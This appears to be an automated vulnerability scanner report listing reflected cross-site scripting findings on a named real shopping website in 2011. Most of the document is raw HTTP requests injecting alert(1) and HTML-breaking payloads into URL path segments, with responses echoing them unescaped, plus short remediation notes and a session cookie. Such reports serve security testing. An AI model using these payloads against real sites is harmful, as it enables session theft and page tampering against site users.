GET /Shopping/Home-Furnishings/4120758082/Furnitureac6a1'-alert(1)-'d4a79eb1946/19 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:38:09 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61578
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Home-Furnishings/4120758082/Furnitureac6a1'-alert(1)-'d4a79eb1946/19'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5a4c8'-alert(1)-'183345e8a7c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/Furniture/195a4c8'-alert(1)-'183345e8a7c HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:43:32 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54956
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Home-Furnishings/4120758082/Furniture/195a4c8'-alert(1)-'183345e8a7c'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b329"><a>52e80b7a0fe was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping3b329"><a>52e80b7a0fe/Home-Furnishings/4120758082/Home-Fixtures/65 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:03:33 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60075
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping3b329"><a>52e80b7a0fe"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 98bd8'-alert(1)-'9879e2d7893 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping98bd8'-alert(1)-'9879e2d7893/Home-Furnishings/4120758082/Home-Fixtures/65 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:11:29 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59839
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping98bd8'-alert(1)-'9879e2d7893/Home-Furnishings/4120758082/Home-Fixtures/65'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e351f'-alert(1)-'c380dbc0e19 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishingse351f'-alert(1)-'c380dbc0e19/4120758082/Home-Fixtures/65 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:14:58 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61788
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Home-Furnishingse351f'-alert(1)-'c380dbc0e19/4120758082/Home-Fixtures/65'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload f13ce<script>alert(1)</script>180069a8d1e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Home-Furnishingsf13ce<script>alert(1)</script>180069a8d1e/4120758082/Home-Fixtures/65 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:16:32 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61430
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Home Furnishingsf13ce<script>alert(1)</script>180069a8d1e <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6c529'-alert(1)-'8525a6d20e2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/41207580826c529'-alert(1)-'8525a6d20e2/Home-Fixtures/65 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:20:59 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61159
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Home-Furnishings/41207580826c529'-alert(1)-'8525a6d20e2/Home-Fixtures/65'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3e06b'-alert(1)-'bcb2460354f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/Home-Fixtures3e06b'-alert(1)-'bcb2460354f/65 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:26:55 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61422
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Home-Furnishings/4120758082/Home-Fixtures3e06b'-alert(1)-'bcb2460354f/65'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a2b82'-alert(1)-'1ec06449d9f was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/Home-Fixtures/65a2b82'-alert(1)-'1ec06449d9f HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:30:57 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54782
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Home-Furnishings/4120758082/Home-Fixtures/65a2b82'-alert(1)-'1ec06449d9f'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea5f6"><a>12de46391a1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppingea5f6"><a>12de46391a1/Home-Furnishings/4120758082/KitchenHouse-Utensils/59 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:01:47 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59741
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppingea5f6"><a>12de46391a1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 83ffa'-alert(1)-'9eaaa7729ee was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping83ffa'-alert(1)-'9eaaa7729ee/Home-Furnishings/4120758082/KitchenHouse-Utensils/59 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:11:33 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60558
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping83ffa'-alert(1)-'9eaaa7729ee/Home-Furnishings/4120758082/KitchenHouse-Utensils/59'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fd6d7'-alert(1)-'d285782c34e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishingsfd6d7'-alert(1)-'d285782c34e/4120758082/KitchenHouse-Utensils/59 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:15:00 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61936
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Home-Furnishingsfd6d7'-alert(1)-'d285782c34e/4120758082/KitchenHouse-Utensils/59'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload ab586<script>alert(1)</script>4355b8db918 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Home-Furnishingsab586<script>alert(1)</script>4355b8db918/4120758082/KitchenHouse-Utensils/59 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:15:30 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61745
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Home Furnishingsab586<script>alert(1)</script>4355b8db918 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6d103'-alert(1)-'4eab40094b6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/41207580826d103'-alert(1)-'4eab40094b6/KitchenHouse-Utensils/59 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:20:06 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61822
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Home-Furnishings/41207580826d103'-alert(1)-'4eab40094b6/KitchenHouse-Utensils/59'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 20cc7'-alert(1)-'62a91cb3154 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/KitchenHouse-Utensils20cc7'-alert(1)-'62a91cb3154/59 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:26:03 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61916
